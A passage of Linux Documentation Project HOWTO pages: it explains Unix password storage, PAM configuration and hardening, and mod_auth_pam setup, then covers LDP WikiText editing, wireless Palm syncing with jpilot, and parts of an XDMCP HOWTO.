  pete:K3xcO1Qnx8LFN:1000:1000:Peter Hernberg,,,1-800-FOOBAR:/home/pete:/bin/bash

As you can see, it's pretty straight-forward. Each entry contains the six fields I described above, with each field separated by a colon. If this were as complex as user authentication got, there would be no need for this HOWTO.

Shadow passwords

Looking at your /etc/passwd, it's likely that you actually saw something like this:

  pete:x:1000:1000:Peter Hernberg,,,1-800-FOOBAR:/home/pete:/bin/bash

Where did the encrypted password go? Before I tell you where it went, a bit explanation is required.

The /etc/passwd file, which contains information about all users, including their encrypted password, is readable by all users, making it possible for any user to get the encrypted password of everyone on the system. Though the passwords are encrypted, password-cracking programs are widely available. To combat this growing security threat, shadow passwords were developed.

When a system has shadow passwords enabled, the password field in /etc/passwd is replaced by an "x" and the user's real encrypted password is stored in /etc/shadow. Because /etc/shadow is only readable by the root user, malicious users cannot crack their fellow users' passwords. Each entry in /etc/shadow contains the user's login, their encrypted password, and a number of fields relating to password expiration. A typical entry looks like this:

    pete:/3GJllg1o4152:11009:0:99999:7:::

/etc/group and /etc/gshadow

Group information is stored in /etc/group. The format is similar to that of /etc/passwd, with the entries containing fields for the group name, password, numerical id (gid), and a comma-separated list of group members. An entry in /etc/group looks like this:

   pasta:x:103:spagetti,fettucini,linguine,vermicelli

As you can see from the "x" in the password field, group passwords can be shadowed as well. Although groups almost never have their own passwords, it is worth noting that shadowed group password information is stored in /etc/gshadow.

MD5 encrypted passwords

Traditionally, unix passwords were encrypted with the standard crypt() function. (For more information on the crypt() function, see the crypt(3) manpage.) As computers grew faster, passwords encrypted with this function became easier to crack. As the internet emerged, tools for distributed the task of password-cracking across multiple hosts became available. Many newer distributions ship with the option of encrypting passwords with the stronger MD5 hash algorithm. (For more information on the MD5 hash algorithm, consult RFC 1321.) While MD5 passwords will not eliminate the threat of password cracking, they will make cracking your passwords much more difficult.

Sifting through the mess

As you can see, there are a number of different ways user authentication information can be stored on your system (shadow passwords without MD5 encryption, /etc/passwd passwords with MD5 encryption, etc.). How do programs like login and su know how to verify your password? Worse yet, what if you wanted to change the way passwords are stored on your system? How will programs that need your password know that passwords are stored differently? PAM is the answer.

Prev | Home | Next
User Authentication HOWTO |  | PAM (Pluggable Authentication Modules)


PAM (Pluggable Authentication Modules)

Pluggable authentication modules are at the core of user authentication in any modern linux distribution.

Why

Back in the good old days of linux, if a program, such as su, passwd, login, or xlock, needed to authenticate a user, it would simply read the necessary information from /etc/passwd. If it needed to change the users' password, it would simply edit /etc/passwd. This simple but clumsy method presented numerous problems for system administrators and application developers. As MD5 and shadow passwords became increasingly popular, each program requiring user authentication had to know how to get the proper information when dealing with a number of different schemes. If you wanted to change your user authentication scheme, all these programs had to be recompiled. PAM eliminates this mess by enabling programs to transparently authenticate users, regardless of how user information is stored.

What

Quoting from the Linux-PAM System Administrator's Guide: "It is the purpose of the Linux-PAM project to separate the development of privilege granting software from the development of secure and appropriate authentication schemes. This is accomplished by providing a library of functions that an application may use to request that a user be authenticated." With PAM, it doesn't matter whether your password is stored in /etc/passwd or on a server in Hong Kong. When a program needs to authenticate a user, PAM provides a library containing the functions for the proper authentication scheme. Because this library is loaded dynamically, changing authentication schemes can be done by simply editing a configuration file.

Flexibility is one of PAM's greatest strengths. PAM can be configured to deny certain programs the right to authenticate users, to only allow certain users to be authenticated, to warn when certain programs attempt to authenticate, or even to deprive all users of login privileges. PAM's modular design gives you complete control over how users are authenticated.

Distributions that support pam.

Nearly all popular distributions have supported PAM for some time. Here's an incomplete list of distributions that support PAM:

  • Redhat since version 5.0

  • Mandrake since 5.2

  • Debian since version 2.1 (partial support in 2.1 -- complete support in 2.2)

  • Caldera since version 1.3

  • Turbolinux since version 3.6

  • SuSE since version 6.2

This list is certainly incomplete and possibly inaccurate. I'd appreciate it if you sent any corrections or additions to this list to <petehern@yahoo.com>.

Installing PAM

Installing PAM from scratch is long process, beyond the scope of this HOWTO. If PAM isn't installed on your system, you're probably running such an old version of your distribution that there are many other reasons to upgrade. If you really want to do it yourself, then you're certainly not the sort of person who needs any help from me. For all these reasons, I'm going to assume that you already have PAM installed.

How

Enough talk, let's dig in.

PAM configuration files

PAM configuration files are stored in the /etc/pam.d/ directory. (If you don't have /etc/pam.d/ directory, don't worry, I'll cover that in the next section) Let's go over there and take look.

  ~$ cd /etc/pam.d
  /etc/pam.d/$ ls
  chfn	chsh	login	other	passwd	su	xlock
  /etc/pam.d/$

Your system may have a few more or a few less files in this directory, depending on what's installed on your system. Whatever the details, you probably saw a file for each of the programs on your system that authenticate users. As you probably already guessed, each file contains the PAM authentication configuration for the program it's named after (except for the other file, which we'll talk about in a little bit). Let's take a look the PAM configuration file for passwd (I've condensed the file for the sake of simplicity):

  /etc/pam.d/$ cat login
  # PAM configuration for login
  auth       requisite  pam_securetty.so
  auth       required   pam_nologin.so
  auth       required   pam_env.so
  auth       required   pam_unix.so nulok
  account    required   pam_unix.so
  session    required   pam_unix.so
  session    optional   pam_lastlog.so
  password   required   pam_unix.so nullok obscure min=4 max=8

Before dig into this file, I must mention a little something.

A little something

A small percentage are probably thinking, "Oh no! I don't have a /etc/pam.d directory! Your list of distributions says that my distribution includes PAM, but I can't find that directory. Without PAM, my life is empty and meaningless! What can I do?" Don't worry, all is not lost. If you know that your distribution includes PAM, but you have no /etc/pam.d/ directory, then your PAM configuration is stored in /etc/pam.conf. Rather than being spread across several files, all your PAM configuration is stored in a single file. This adds a little twist to PAM configuration, but the proper adjustments are pointed out in section 3.3.4.

Configuration syntax

PAM configuration files have the following syntax:

  type  control  module-path  module-arguments

Using the login configuration file (see above) as an example let's take a look a the syntax for PAM configuration files:

PAM configuration tokens

type

The type token tells PAM what type of authentication is to be used for this module. Modules of the same type can be "stacked", requiring a user to meet multiple requirements to be authenticated. PAM recognizes four types:

account

  • Determines whether the user is allowed to access the service, whether their passwords has expired, etc.

    • auth

    Determines whether the user is who they claim to be, usually by a password, but perhaps by a more sophistcated means, such as biometrics.

    password

    Provides a mechanism for the user to change their authentication. Again, this usually their password.

    session

    Things that should be done before and/or after the user is authenticed. This might included things such as mounting/unmounting the user home directory, logging their login/logout, and restricting/unrestricting the services available to the user.

    In the login config file, we see at least one entry for each type. Since this the program that allows user to login (hence the name :), it's understandable that it needs to access all of the different types of authentication.

    control

    The control token tells PAM what should be done in if authentication by this module fails. PAM recognizes four control types:

    requisite

  • Failure to authenticate via this module results in immediate denial of authentication.

    • required

  • Failure also results in denial of authentication, although PAM will still call all the other modules listed for this service before denying authentication.

    • sufficient

    If authentication by this module is successful, PAM will grant authentication, even if a previous required module failed.

    optional

    Whether this module succeeds or fails is only significant if it is the only module of its type for this service.

    In the configuration file for login, we see nearly all of the different control types. Most of the required modules are pam_unix.so (the main authentication module), the single requisite module is pam_securetty.so (checks make sure the user is logging in on a secure console), and the only optional module is pam_lastlogin.so (the module that retrieves information on the user's most recent login).

    module-path

    The module-path tells PAM which module to use and (optionally) where to find it. Most configurations only contain the module's name, as is the case in our login configuration file. When this is the case, PAM looks for the modules in the default PAM module directory, normally /usr/lib/security. However, if your linux distribution conforms to the Linux Filesystem standard, PAM modules can be found in /lib/security.

    module-arguments

    The module-arguments are arguments to be passed to the module. Each module has its own arguments. For example, in our login configuration, the "nulok" ("null ok", argument being passed to pam_unix.so module, indicating the a blank ("null") password is acceptable ("ok").

    pam.conf configuration

    If your PAM configuration is stored in /etc/pam.conf rather than /etc/pam.d/, PAM configuration lines are a bit different. Rather than each service having its own configuration file, all configurations are stored in /etc/pam.conf with the service name as the first token in a configuration line. For example, the following line in /etc/pam.d/login:

        auth       required   pam_unix.so nulok

    would become the following line in /etc/pam.conf:

        login	auth       required   pam_unix.so nulok

    Except for this minor difference, all the rest of the PAM syntax applies.

    Getting more information

    For more information on configuring PAM and complete PAM module reference, consult the Linux-PAM System Administrator's Guide. This guide serves as a thorough and up-to-date reference on PAM configuration.

    Prev | Home | Next
How User Information is Stored on Your System |  | Securing User Authentication


Securing User Authentication

Many linux distributions ship with user authentication that is not adequately secure. This section discusses some of the ways you make user authentication secure on your system. While doing these things will make your system more secure, do not be so naive as to think they make you invulnerable.

A strong /etc/pam.d/other

All of the files in /etc/pam.d/ contain the configuration for a particular service. The notable exception to this rule is the /etc/pam.d/other file. This file contains the configuration for any services which do not have their own configuration file. For example, is the (imaginary) xyz service attempted authentication PAM would look for a /etc/pam.d/xyz file. Not finding one, authentication for xyz would be determined by the /etc/pam.d/other file. Since /etc/pam.d/other is the configuration to which PAM services fallback, it is important that it is secure. We will discuss two secure configurations of /etc/pam.d/other, one which is quite nearly paranoid and which is gentler.

A paranoid configuration

A paranoid configuration of /etc/pam.d/other is as follows:

    auth	required	pam_deny.so
    auth	required	pam_warn.so
    account	required	pam_deny.so
    account	required	pam_warn.so
    password	required	pam_deny.so
    password	required	pam_warn.so
    session	required	pam_deny.so
    session	required	pam_warn.so

With this configuration, whenever an unknown service attempts to access any of the four configuration types, PAM denies authentication (via the pam_deny.so module) and then logs a syslog warning (via the pam_warn.so module). Short of a bug in PAM, this configuration is brutally secure. The only problem with that brutality is it may cause problems if your accidentally delete the configuration of another service. If your /etc/pam.d/login was mistakenly deleted, no one would be able to login!

A kinder configuration

Here's configuration that isn't quite so mean:

    auth	required	pam_unix.so
    auth	required	pam_warn.so
    account	required	pam_unix.so
    account	required	pam_warn.so
    password	required	pam_deny.so
    password	required	pam_warn.so
    session	required	pam_unix.so
    session	required	pam_warn.so

This configuration will allow an unknown service to authenticate (via the pam_unix.so module), although it will not allow it to change the user's password. Although it allows authentication by unknown services, it logs a syslog warning whenever such a service attempts authentication.

Choosing a /etc/pam.d/other

I would strongly reccomend that you implement the first /etc/pam.d/other configuration unless you have a very good reason not to. It always a good idea to be 'secure by default'. If you ever do need to grant a new service authentication privileges, you can simply create a PAM configuration file for that service.

Disabling logins for user with null passwords

On most linux systems, there a number of "dummy" user accounts, used to assign privileges to certain system services like ftp, webservers, and mail gateways. Having these accounts allows your system to be more secure, because if these services are compromised, an attacker will only gain the limited privileges available to the dummy account, rather than the full privileges of a service running as root. However, allowing these dummy account login privileges is a security risk, as they usually have blank (null) passwords. The configuration option that enables null passwords is the "nullok" module-argument. You'll want remove this argument from any modules of 'auth' type for services that allow login. This is usually the login service, may also include services like rlogin and ssh. Hence, the following line in /etc/pam.d/login:

   auth		required	pam_unix.so	nullok

should be changed to:

   auth		required	pam_unix.so

Disable unused services

Looking at the files in /etc/pam.d/, you'll probably see configuration files for a number of programs you don't use and maybe even a few you've never heard of. Although allowing authentication to these services probably won't open any huge security holes, you're better off denying them authentication. The best way to disable PAM authentication for these programs is to rename these files. Not finding the file named after the service requesting authentication, PAM will fallback to the (hopefully) very secure /etc/pam.d/other. If you later find that you need one of these programs, you can simply rename the file to its original name and everything will work as it was intended.

Password-cracking tools

While password-cracking tools can be by attackers used to compromise a system, they can also be used by system administrators as proactive tool to ensure the strength of passwords on their system. The two most commonly used password-cracking tools are "crack" and "John the Ripper". Crack is probably included in your facorite distribution. John the Ripper can be obtained from http://www.false.com/security/john/index.html. Run the tools against your password database and you'll probably be surprised with what they come up with.

Additionally, there is a PAM module which utilizes the crack library to check the strength of a users password whenever it changed. When this module is installed, the user can only change their password to one which meets the minimum password strength.

Shadow and MD5 passwords

As was discussed in the first section of this document, Shadow and MD5 passwords can make your system more secure. During the installation procedure, most modern distributions will ask whether you want to install MD5 and/or Shadow passwords. Unless you have a good reason not to, you should enable these. The process of converting from non-shadowed/non-MD5 passwords is a complicated process, and is beyond the scope of this document. The Shadow Password HOWTO is outdated, but it might be of some help.

Prev | Home | Next
PAM (Pluggable Authentication Modules) |  | Tying it all together


Tying it all together

In this section, I'll give a simple example which ought to help tie together what's in the previous section.

Apache + mod_auth_pam

As our example, we'll install and configure mod_auth_pam, an Apache module that allows you to use authenticate users of your webserver using PAM. For the purpose of this example, I'll assume you have apache installed. If it's not installed already you should be able find installation packages from your distributor.

Our example

Our goal will be to configure a restricted area of our webserver, a family/ directory, to authenticate users via PAM. This directory contains private family information, and should only be accessible to members of the user group family.

Installing mod_auth_pam

First, you'll want to download mod_auth_pam from http://blank.pages.de/pam/mod_auth_pam/. The following commands will compile mod_auth_pam (you must be logged in as root):

   ~# tar xzf mod_auth_pam.tar.gz
   ~# cd mod_auth_pam-1.0a
   ~/mod_auth_pam-1.0a# make
   ~/mod_auth_pam-1.0a# make install

If you have any trouble installing the mod_auth_pam module, make sure you've installed your distributions apache-dev package. After you've installed mod_auth_pam, you'll need to restart apache. Apache can usually by restarted by typing the following command (again, you must be root):

   ~# /etc/init.d/apache restart

Configuring PAM

PAM configuration for Apache is stored in /etc/pam.d/httpd. The default configuration (which was installed when you installed mod_auth_pam) is secure, but it uses a module (pam_pwdb.so) which may not be available on many systems. (Besides, configuring it from scratch will be fun!) So delete the /etc/pam.d/httpd file, and let's start fresh.

Deciding how to configure PAM

If we're going to configure how PAM deals with Apache's authentication requests, we need to figure out exactly what we need PAM to check for. First, we want PAM to make sure the user's password matches their password in the standard unix password database. This sounds like the 'auth' type and the pam_unix.so module. We'll want the module's control type to be set to 'required', so authentication will fail without a correct password. Here's what the first line of our /etc/pam.d/httpd looks like:

     auth	required	pam_unix.so

Secondly, we must make sure that the users account is valid (i.e. their password has not expired or any such nastiness). This is the 'account' type and is also provided by the pam_unix.so module. Again, we'll set this module's control type to 'required'. After adding this line, our /etc/pam.d/httpd configuration looks like this:

     auth	required	pam_unix.so
     account	required	pam_unix.so

It's not terribly sophisticated, but it does the job. It ought to be a good start for learning how to configure PAM services.

Configuring Apache

Now that PAM is configured to authenticate apache's requests, we'll configure apache to properly utilize PAM authentication to restrict access to the family/ directory. To do so, add the following lines to your httpd.conf (usually stored in /etc/apache/ or /etc/httpd):

    <Directory /var/www/family>
    AuthPAM_Enabled on
    AllowOverride None
    AuthName "Family Secrets"
    AuthType "basic"
    require group family
    </Directory>

You may need to replace /var/www/ with the default location of web documents, which is often /home/httpd/. Wherever that is, you'll need to create the family directory.

Before we test our setup, I'll to take a moment to explain the Apache configuration you just entered. The <Directory> directive is used to encapsulate configuration data for this directory. Inside this directive, we've enabled PAM authentication ("AuthPAM_enabled on"), turned off any overriding of this configuration ("AllowOverride none"), named this authentication zone "Family Secrets" ("AuthName "Family Secrets""), set the http authentication (not the PAM authentication) type to the default ("AuthType "basic""), and required the user group family ("require group family").

Testing our setup

Now that we've got everything setup up properly, it's time to revel in our success. Fire up your favorite web browser and head over to http://your-domain/family/ (replacing your-domain with, well, your domain). You are now an uber-authenticator!

Prev | Home | Next
Securing User Authentication |  | Resources


Resources

There are a number of resources, both online and offline, where you can more information about user authentication. If you know of any resources that ought to be added to this list, drop me a line at <petehern@yahoo.com>

PAM

  • Linux-PAM System Administrator's Guide

  • Linux-PAM Module Writer's Manual

  • Linux-PAM Application Developer's Manual

General Security

  • linuxsecurity.com

  • securitywatch.com

  • Security HOWTO

  • Packetstorm

Offline Documentation

A lot of information can be gathered from your system's manual pages. The following are some manpages relating to user authentication. The number in parentheses refers to the manpage section. To view the passwd(5) manpage, you would enter man 5 passwd.

  • passwd(5)

  • crypt(3)

  • pam.d(5)

  • group(5)

  • shadow(5)

Prev | Home | Next
Tying it all together |  | Conclusion


Conclusion

I hope you found this HOWTO helpful. If you have any questions, comments, or suggestions, I'd love to hear from you. You can email me at <petehern@yahoo.com>.

Prev | Home
Resources |


Conclusion

LDP WikiText Editing HOWTO
Prev

8. Conclusion

We hope that you will find the WikiText helps make your life as an author easier, so you can concentrate on writing the best documentation possible and spend less time fudging with your tools and learning arcane syntax.

I would very much appreciate any feedback or suggestions from you, whether positive or negative (as long as it's constructive, of course). You can write me at david@lupercalia.net.

Prev | Home
Where Is It? Can I Get Access? |


How Does It Work?

LDP WikiText Editing HOWTO
Prev Next

5. How Does It Work?

We tried to use the same text hints that are used on the Wikipedia, which came from UseModWiki. There are some differences between different Wiki systems, but most of them are quite similar to this one, and it has proved itself through use.

A blank line separates paragraphs, and there are other hints for making sections, bulleted lists, links, filenames, etc.

5.1. Sections

 =Introduction|intro=

creates a new top level section. See the pipe character followed by "intro"? Many hints provide for an "id", and this is how you supply it. For sections, the id will become the output filename (intro.html, in the first example), or the html "tag" used for intradocument linking.

 ==How Does It Work?|how-does-it-work==

creates a second-level section, and

 ===Why Would I Use It?|why?===

creates a third level section.

5.2. Lists

5.2.1. Numbered Lists

 #one

 #two

 #three

 /#

The "#" prefix says to make a numbered list. The numbered list continues until the end of the current section, or until it hits a line with only "/#", which closes the list. After opening another "#" list, the numbering will begin over again at "1".

Here is how the above block will appear in the final document:

  1. one

  2. two

  3. three

5.2.2. Bulleted Lists

Bulleted lists work almost the same, except you use the "*" hint, and you don't have to worry about renumbering issues:

 *one

 *two

 *three

 /*

Here's how the above block will appear in the final document:

  • one

  • two

  • three

5.3. Links

Use the square brackets to identify links, like this:

 [[http://www.linuxdoc.org|Linux Documentation Project]]

In this case, the text after the pipe character isn't an id, but the "title" of the link.

There are two special namespaces that you can use besides the standard "http:" and "mailto:" namespaces that you are probably famliar with. The first is the "ldp:" namespace. Look at the following link:

 [[ldp:Distributions-HOWTO]]

When you use the "ldp:" namespace, WikiText will look up the document that you named in the LDP database, and generate a link to it.

Note: we're still working on entering the correct "name" in all of our database records, so only a few are working. But don't worry. Just let us know if you need to use a link that isn't correct yet and we'll fix it right away.

The second special namespace is the "wiki:" namespace. It will generate a link to the article on the Wikipedia, an open source encyclopedia project. We hope to mirror some of the most appropriate articles from the Wikipedia right on the LDP. Wikipedia has many great articles on computer related topics that aren't the kind of information we do at the LDP, but which would complement our documents very well. For instance, there are articles on virtual memory, operating systems, and so on. For now, your link will go to the live Wikipedia site. Eventually, it will go to a mirror on our site, but with a link to the "real" site.

The following links go to articles called "Operating system" and "Linux kernel" on the Wikipedia:

 [[wiki:Operating system]]

 [[wiki:Linux kernel]]

Wikipedia is a great resource for all Netizens. Both the software they use and their content are open source.

5.4. Filenames

You can indicate filenames by wrapping them with double brackets, just like http and other links. Or, you can specify the "file" namespace:

 [[/etc/apache/httpd.conf]]

 [[file:/etc/apache/httpd.conf]]

Either way, it will render as /etc/apache/httpd.conf.

5.5. Emphasis

You can make certain words emphasized by wrapping them with three (3) single-quotes, like this:

 '''Wow!'''

That will render like: Wow!

5.6. QandASets

You can create question and answer sets if you're writing a FAQ, or if you have a FAQ section in your document. Just make "Q:" and "A:" the first characters on a new line, and the QandASet tags will automatically be created.

 Q: What if you want to do DocBook that isn't supported by WikiText?

 A: Mu.

And this is how the example renders. Notice that a list of questions appears right before the first question. This looks a bit silly in this example, since there is only one question and it just gets repeated twice. If you're working on the Linux-FAQ, though, it's really nice.

Q: What if you want to do DocBook that isn't supported by WikiText?

Q: What if you want to do DocBook that isn't supported by WikiText?

A: Mu. See the next section.

5.7. Fancy Stuff

There is no DocBook structure that is not supported by WikiText. Why? Because if there is no WikiText for it, you can just put the tags you need directly into the document, and they will work.

There are a few "special" tags that are not inline DocBook, but section structures, among them the "programlisting" and "screen" tags. You should keep in mind that none of the WikiText functions will work inside these tags. You don't want commented lines in your code sample converted into numbered lists, do you?

 # this is a comment

 # it is NOT a numbered list!

Prev | Home | Next
Why Would I Want to Use One? |  | But What About the Meta-Data?


LDP WikiText Editing HOWTO

David Merrill

david@lupercalia.net

2002-01-23

Revision History
Revision 1.1 | 2002-01-28 | Revised by: dcm
Added QandASet section, had to tweak the grammar for filename markup.
Revision 1.0 | 2002-01-23 | Revised by: dcm
Initial release.

This HOWTO explains how to use the LDP WikiText editing format to create DocBook documents for the LDP.

Table of Contents
1. Legalities
2. Introduction
3. What Is a Wiki?
4. Why Would I Want to Use One?
5. How Does It Work?
5.1. Sections
5.2. Lists
5.3. Links
5.4. Filenames
5.5. Emphasis
5.6. QandASets
5.7. Fancy Stuff
6. But What About the Meta-Data?
7. Where Is It? Can I Get Access?
8. Conclusion
Next
Legalities


Introduction

LDP WikiText Editing HOWTO
Prev Next

2. Introduction

The LDP uses DocBook format for our new documents, and we are trying to get our older documents also converted into DocBook. Unfortunately, DocBook is a very large and complex DTD, so it can be difficult for people to use. We are always looking for ways to make it easier, so more people can help the LDP.

The solution we came upon was inspired by the WikiWikiWeb, thanks to a great suggestion from LDP author Martin Wheeler. I call it WikiText, because it isn't a true Wiki, but it has some of the best features of a true Wiki.

Prev | Home | Next
Legalities |  | What Is a Wiki?


Legalities

LDP WikiText Editing HOWTO
Prev Next

1. Legalities

This document is copyright © 2002, David Merrill, and is available under the term of the GNU Free Documentation License, with no invariant sections, no front-cover matter and no back-cover matter.

Prev | Home | Next
LDP WikiText Editing HOWTO |  | Introduction


But What About the Meta-Data?

LDP WikiText Editing HOWTO
Prev Next

6. But What About the Meta-Data?

You do not need to enter any articleheader or articleinfo information into your document. That information is pulled directly from the database itself. Go to your document's edit page, and enter the appropriate information there.

Prev | Home | Next
How Does It Work? |  | Where Is It? Can I Get Access?


Where Is It? Can I Get Access?

LDP WikiText Editing HOWTO
Prev Next

7. Where Is It? Can I Get Access?

Any LDP author is welcome to use the WikiText. It is on the LDP database, http://db.linuxdoc.org. You will need to have an account on the database. If you don't have one yet, you can request one from me by email. Send me your full name (as it appears on your documents), username and password, and I will set it up for you, probably the same day.

Once you're logged onto the database, click "My Documents". If you don't see a list of your own documents (only), I messed up. :-)

Click the document you want to edit. You will see a page that shows the meta-data we have for the document. Also on that page is a link to WikiEdit. Click it, and you're on your way.

Click "Preview" to see how your document will appear on the LDP (except that it will be rendered in a single page).

Click "DocBook" to see the raw DocBook that WikiText generated from your text.

Click "Save" to save your changes to the database. You can also add a "comment" to it, for future reference.

Click "Version History" to see a record of all the changes you've made to the document.

Prev | Home | Next
But What About the Meta-Data? |  | Conclusion


What Is a Wiki?

LDP WikiText Editing HOWTO
Prev Next

3. What Is a Wiki?

A Wiki is a kind of a website, where anyone who is reading the site can also edit it. While the LDP isn't going to implement that kind of permissive editing, we do really like the way the Wiki editing works. Instead of having to learn html tags, you enter your information in plain text. The Wiki software takes that plain text, and converts it into html to display it.

In our case, we convert not into html, but into DocBook. Then that DocBook gets fed into our regular publication systems just as if you had written it in DocBook originally.

If you've never used a WikiWikiWeb, see http://www.wikipedia.com for a good example of a thriving Wiki.

Common functions like creating a link, a bulleted list, a numbered list, and section headings are made quick and easy. We wanted to provide that same level of ease for LDP authors, so I wrote a utility that would take a text format similar to the one used in Wikis (we call it WikiText), and combine it with the meta-data in the LDP Database to generate DocBook.

Prev | Home | Next
Introduction |  | Why Would I Want to Use One?


Why Would I Want to Use One?

LDP WikiText Editing HOWTO
Prev Next

4. Why Would I Want to Use One?

Here are some reasons:

  1. It's quick and easy. No fancy tags to learn, only a few simple text "hints".

  2. It's powerful. While you can edit WikiText without using any DocBook at all, you can also use any DocBook tag inside it.

  3. It versions. A complete version history of your edits is maintained in the database. You can revert to a prior version if you didn't like something you did. You can do this also with cvs, but it is much easier in the online system.

  4. It shares documents. Authors who work on documents with other authors can collaborate through the WikiText. Yes, cvs also does this, but again WikiText is simpler.

  5. It's accessible. All you need is any web browser and an LDP Database account.

  6. It's WYSIWYG. There's a "Preview" feature, so you can click the "Preview" button and see how your document will look on the LDP site. There are no utilities to run, nothing to learn, no DTDs to install or catalog files to munge with. If you've ever tried to get a working DocBook system on your machine, you will appreciate this! :-)

Prev | Home | Next
What Is a Wiki? |  | How Does It Work?


Components Used & Required Software

Wireless Sync HOWTO
Prev Next

2. Components Used & Required Software

2.1. The Hardware components used for this document are:

  • Visor Handheld Deluxe

  • Xircom SpringPort Wireless Ethernet Module

  • EZ Connect 11 Mbps Wireless Access Point

2.2. Software required and version used

  • RedHat 7.2

  • jpilot-0.99.1pre with patch to correct jpilot-sync

  • pilot-link 0.9.5-pre3

  • PalmOS v. 3.1H2

Prev | Home | Next
Introduction |  | Setup


Wireless Sync HOWTO

Using jpilot to sync your PalmOS device to your desktop across a wireless (802.11b) network.

Eric Womack

Las Vegas Data LLC.

eric@lasvegasdata.com

Revision History
Revision 0.12 | 2001-12-12
FGPL added, list of notes to booklet change begun
Revision 0.11 | 2001-12-12
Links corrected, version tracking added, address completed
Revision 0.1 | 2001-12-07
Initial realease for comments

This document explains how to perform a wireless, network sync between a Handspring Visor and jpilot or jpilot-sync. Although this concentrates on specific hardware, the techniques and information should translate to all similar devices.

Table of Contents
1. Introduction
2. Components Used & Required Software
2.1. The Hardware components used for this document are:
2.2. Software required and version used
3. Setup
3.1. Visor
3.2. SpringPort Module
3.3. Software Configuration
4. Operation
5. License

This procedure has been tested on the Handspring Visor Deluxe. It should work on all PalmOS based devices as well.

Next
Introduction


Introduction

Wireless Sync HOWTO
Prev Next

1. Introduction

I had just acquired my 802.11b module for my Visor, and decided that I wanted to do away with the need for the cradle that would keep me locked to a desktop for syncing purposes. After all, the whole point of being wireless and handheld was to be mobile. After many hours of careful reading in entirely too many sources, I have distilled the necessary information into this short HOWTO. If at anytime you find yourself going through the HOWTO and have to stop and lookup how to do something I have listed, please email that to me so I can add it and help the next person who reads this.

Also, please send me reports of success (and failures) of hardware devices other than those listed so that I may append it to this document.

Prev | Home | Next
Wireless Sync HOWTO |  | Components Used & Required Software


License

Wireless Sync HOWTO
Prev

5. License

GNU Free Documentation License http://www.gnu.org/copyleft/fd1.html

Copyright (C) 2001 Eric Womack

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home
Operation |


Operation

Wireless Sync HOWTO
Prev Next

4. Operation

With all the above configured correctly, operation is quite simple. Click HotSync icon on the Visor, then click ModemSync. Allow the client to negotiate a connection with the network, then click Sync on jpilot.

Prev | Home | Next
Setup |  | License


Setup

Wireless Sync HOWTO
Prev Next

3. Setup

3.1. Visor

3.1.1. Configure a new service to use for syncing.

Click Prefs on the Visor. In the upper right-hand corner is a drop down menu. Click and select Network. Click the main drop down menu by clicking the drop down icon in the lower left corner of the visor, next to the graffiti screen. From the menu that drops down, click New and configure a new serverice according to the following.

  • Username

    The username used to log onto the network.

  • Password

    The username used to log onto the network.

  • Phone Number 00

    This will tell the Visor to use a network connection.

  • Connection Type PPP

  • Query DNS should be checked

  • IP Address

    Automatic should be checked if DHCP is running.

3.1.2. Configure your Primary PC Setup to the workstation that will be running jpilot.

  • Primary PC Name

    This is the full network name of the workstation.

  • Primary PC Address

    The IP of the workstation. If using DHCP, it is a good idea to map the number to the MAC address of the NIC so the it will remain constant. This will save you from having to re-enter this info.

3.2. SpringPort Module

3.2.1. Configure Client Settings

  • Client Name

    Set to whatever you wish. This will be the name that the Visor announces to the network as it's own.

  • Profile

    The Xircom module supports 3 separate setups. Select one for use in your system.

  • Network ID (SSID)

    For maximum security, this should be a unique name shared among all the 802.11b devices that are attached to your network.

  • Encryption

    For maximum security, this should be enabled and set to the highest available that is supported by all the devices. Use the WAP to create the key to install to all the 802.11b devices that are attached to your network.

  • MAC Address

    Enter this into the MAC allowed list and re-enable MAC filtering.

Tip | Obtaining the MAC address on the Xircom Wireless Ethernet Module
 | The MAC address should be printed on the label that is sandwiched between the Visor and the module. If that is unreadable, it will have to be found out another way. The easiest way I have found to do this is to disable MAC filtering on the WAP, configure the above and connect. Clicking Status/IP Information will bring up a screen showing the MAC of the module.

3.2.2. Configure Network Settings

This is handled by the "Configure New Service" section above.

3.2.3. Configure HotSync Settings

This is handled by the "Configure New Service" section above.

3.2.4. Wireless Access Point

Setup your access point according to your manufacturer's directions. The following services are recommended:

  • 128bit Encryption

  • MAC Filtering

  • Unique SSID enabled

  • DHCP - Either from network or Access Point, but not both.

3.3. Software Configuration

3.3.1. jpilot

Run jpilot and set the following under File/Preferences/Settings.

  • Serial Port .

    For clarity, the setting is a single period. This will signify to underlying pilot-link subsystem to expect a network connection.

  • Serial Rate

    This can be put to the hightest setting.

3.3.2. jpilot-sync

To configure jpilot-sync, configure jpilot as describe above, then exit.

Next, use the following command to run in a daemon-like mode.

    jpilot-sync >& /dev/null &

Warning

Do not attempt to sync using jpilot while jpilot-sync is running by pressing Sync in jpilot. This may or may not work the first time, but will certainly crash both at the completion.

Note

You can run jpilot while jpilot-sync is running, and even edit/add entries or sync. Simply allow jpilot-sync to run in the background to pick up the sync request.

Alternatively, for a pure command-line approach, edit the jpilot.rc file and change port to .. and rate to 10.

Prev | Home | Next
Components Used & Required Software |  | Operation


Authors

Linux XDMCP HOWTO
Prev Next

7. Authors

Current: Thomas Chao, Lucent Technologies

Prev | Home | Next
Additional References |  | Copyright Information


Copyright Information

Linux XDMCP HOWTO
Prev

8. Copyright Information

This document is copyrighted (c) 2000, 2001 Thomas Chao and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

Prev | Home
Authors |


XDMCP and GDM (Gnome Display Manager)

Linux XDMCP HOWTO
Prev Next

5. XDMCP and GDM (Gnome Display Manager)

The following is taken from the Gnome Display Manager Reference Manual:

